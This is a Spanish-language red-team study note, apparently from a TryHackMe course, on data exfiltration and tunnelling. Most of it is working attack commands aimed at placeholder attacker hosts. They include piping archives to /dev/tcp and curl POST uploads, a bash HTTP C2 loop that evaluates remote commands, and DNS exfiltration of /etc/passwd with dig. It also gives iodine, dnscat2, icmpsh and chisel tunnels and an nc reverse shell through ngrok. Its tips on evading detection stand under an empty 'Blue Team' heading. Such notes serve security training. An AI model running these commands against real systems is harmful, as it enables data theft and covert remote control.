Exfiltración de datos

Definición

La exfiltración de datos es el proceso de tomar una copia no autorizada de información sensible y transferirla desde el interior de la red de la organización hacia el exterior. Ocurre en la última fase del Cyber Kill Chain (Acciones según los Objetivos). Un red teamer simula esta técnica para evaluar la detección y prevención de fugas de datos.

Contexto

• No se trata sólo de robar datos: también sirve para establecer canales C2 y crear túneles sobre protocolos permitidos.
• Los protocolos no estándar (TCP raw) son fáciles de detectar; los estándar (DNS, HTTP/S, SSH, ICMP) son mucho más sigilosos.
• Esta nota forma parte del Red Team Path (THM) y es la última fase antes del reporte.

3 Escenarios de uso

1. TCP Socket + Base64 + EBCDIC

Técnica básica sin cifrado TLS. Útil en entornos sin productos de seguridad de red. Fácilmente detectable por IDS/IPS.

En el atacante (JumpBox) — receptor:

nc -lvp 8080 > /tmp/exfil.data

En la víctima — enviar datos:

# Comprimir, codificar en base64 y enviar vía TCP
tar zcf - /ruta/datos/ | base64 | dd conv=ebcdic > /dev/tcp/ATTACKER_IP/8080

En el atacante — restaurar:

cd /tmp/
dd conv=ascii if=exfil.data | base64 -d > exfil.tar
tar xvf exfil.tar

La doble codificación base64+EBCDIC hace el tráfico ilegible para inspección superficial, pero no es cifrado real.

2. SSH (canal cifrado nativo)

SSH proporciona cifrado extremo a extremo. Es el método más limpio para exfiltración sigilosa cuando SSH está permitido en el firewall.

Exfiltrar archivo:

# Desde la víctima → enviar archivo al atacante
tar zcf - /datos/secretos/ | ssh thm@ATTACKER_IP "cat > /tmp/exfil.tar.gz"

# Alternativa con scp
scp /datos/secretos.txt thm@ATTACKER_IP:/tmp/

SSH como túnel SOCKS (pivoting):

# En el atacante: tunnel dinámico → proxychains para todo el tráfico
ssh -D 9050 -N thm@PIVOT_HOST

# Usar con proxychains
proxychains nmap -sV INTERNAL_TARGET
proxychains curl http://INTERNAL_WEB/

SSH Local Port Forwarding:

# Acceder a un servicio interno (INTERNAL_HOST:PORT) desde el atacante
ssh -L LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT thm@PIVOT_HOST
# → curl http://127.0.0.1:LOCAL_PORT/

SSH Remote Port Forwarding:

# Exponer un servicio del atacante hacia la red interna
ssh -R REMOTE_PORT:127.0.0.1:LOCAL_PORT thm@PIVOT_HOST

3. HTTP/HTTPS (POST request)

Simula tráfico web legítimo. Si HTTPS está permitido saliente, prácticamente invisible para muchos firewalls.

Servidor receptor en el atacante:

# PHP one-liner para recibir uploads POST
php -r "file_put_contents('upload.tar.gz', file_get_contents('php://input'));" &
# O usar un servidor web con soporte upload

En la víctima — enviar datos vía POST:

# Comprimir y enviar
tar zcf - /datos/ | curl -X POST --data-binary @- http://ATTACKER_IP:8080/upload

# Alternativa con base64
tar zcf - /datos/ | base64 | curl -X POST -d @- http://ATTACKER_IP:8080/upload

Comunicaciones C2 sobre HTTP:

# Polling: la víctima pregunta periódicamente por comandos
while true; do
  cmd=$(curl -s http://ATTACKER_IP:8080/cmd)
  result=$(eval "$cmd" 2>&1 | base64)
  curl -X POST -d "$result" http://ATTACKER_IP:8080/result
  sleep 5
done

4. ICMP (ping tunneling)

Abusa del campo de datos del payload ICMP. Muchos firewalls permiten ICMP saliente sin inspección profunda.

Herramienta: icmpsh

# En el atacante — receptor
python3 icmpsh_m.py ATTACKER_IP VICTIM_IP

# En la víctima — agente (Windows)
icmpsh.exe -t ATTACKER_IP

Herramienta: ptunnel-ng

# En el atacante — servidor ICMP tunnel
ptunnel-ng -R -lp 1234 -da DEST_HOST -dp DEST_PORT

# En la víctima — cliente
ptunnel-ng -p ATTACKER_IP -lp LOCAL_PORT -da DEST -dp DEST_PORT

5. DNS Tunneling

DNS es el protocolo más sigiloso para exfiltración: está permitido prácticamente en todos los entornos y rara vez se inspecciona en profundidad.

Principio: los datos se codifican como subdominio en consultas DNS que resuelve un servidor NS controlado por el atacante.

1
secret_data.attacker-controlled.com  →  consulta DNS legítima
2
                                    ↳  el atacante controla el NS
3
                                    ↳  extrae los datos del subdominio

Herramienta: iodine (túnel IP sobre DNS)

# En el atacante (servidor DNS autoritativo para attacker.com)
iodined -f -c -P Password 192.168.0.1 t1.attacker.com

# En la víctima
iodine -f -P Password t1.attacker.com
# → crea interfaz de red dns0 con IP 192.168.0.2

# Ahora se puede SSH a través del túnel DNS
ssh thm@192.168.0.1 -D 9050
proxychains <cualquier herramienta>

Exfiltración manual vía DNS (sin herramientas especiales):

# Codificar datos en base32 y enviar como subdominio
data=$(cat /etc/passwd | base32 | tr -d '=')
for chunk in $(echo $data | fold -w 50); do
  dig "$chunk.attacker-controlled.com" @ATTACKER_DNS_IP
done

Servidor DNS receptor (dnscat2):

# Atacante
ruby dnscat2.rb --dns "domain=t1.attacker.com,host=ATTACKER_IP"

# Víctima
./dnscat --secret=PASSWORD t1.attacker.com

6. HTTP Tunneling

Encapsula tráfico arbitrario dentro de HTTP/S para atravesar proxies corporativos.

Herramienta: chisel

# Atacante — servidor
chisel server --reverse --port 8080

# Víctima — cliente con reverse tunnel
chisel client ATTACKER_IP:8080 R:9050:socks

# → Túnel SOCKS5 en el atacante en el puerto 9050
proxychains curl http://INTERNAL_HOST/

Herramienta: ngrok (cuando el atacante no tiene IP pública)

# Atacante
ngrok tcp 4444
# Proporciona URL pública como tcp://X.tcp.ngrok.io:PORT

# Víctima conecta a la URL pública
nc X.tcp.ngrok.io PORT -e /bin/bash

Detección y contramedidas (perspectiva Blue Team)

Pitfalls / Errores comunes

• Usar TCP raw en entornos con IDS → detectado inmediatamente; preferir DNS o HTTPS.
• No comprimir antes de exfiltrar → mayor volumen y mayor probabilidad de detección.
• Olvidar que iodine requiere ser root en la víctima para crear la interfaz dns0.
• Hacer polling C2 muy frecuente → patrón de tráfico regular fácilmente detectable; usar jitter.
• No limpiar los chunks de DNS del servidor receptor después del engagement.

Integración con otras notas

• Previo: Lateral Movement and Pivoting (THM)
• C2 frameworks que implementan estas técnicas: Command and Control (C2)
• OPSEC para minimizar detección: OPSEC (Red Team)
• Phishing como vector inicial: Phishing (THM)
• MITRE: TA0010 (Exfiltration), T1048 (Exfiltration over Alt Protocol), T1071 (App Layer Protocol), T1572 (Protocol Tunneling)

Diagrama

flowchart LR
    A[Datos sensibles en víctima] --> B{Protocolo de exfiltración}
    B --> C[TCP raw + Base64/EBCDIC]
    B --> D[SSH: scp / tar pipe]
    B --> E[HTTPS POST]
    B --> F[ICMP: icmpsh / ptunnel]
    B --> G[DNS: iodine / dnscat2]
    B --> H[HTTP Tunnel: chisel / ngrok]
    C -->|Ruidoso| I[Atacante recibe datos]
    D & E -->|Medio| I
    F & G & H -->|Sigiloso| I
    I --> J[C2 / Reporting]

Referencias

1. TryHackMe — Data Exfiltration: https://tryhackme.com/room/dataxexfilt
2. iodine DNS tunnel: https://github.com/yarrick/iodine
3. dnscat2: https://github.com/iagox86/dnscat2
4. chisel HTTP tunnel: https://github.com/jpillora/chisel
5. icmpsh: https://github.com/inquisb/icmpsh
6. MITRE TA0010 Exfiltration: https://attack.mitre.org/tactics/TA0010/
7. MITRE T1572 Protocol Tunneling: https://attack.mitre.org/techniques/T1572/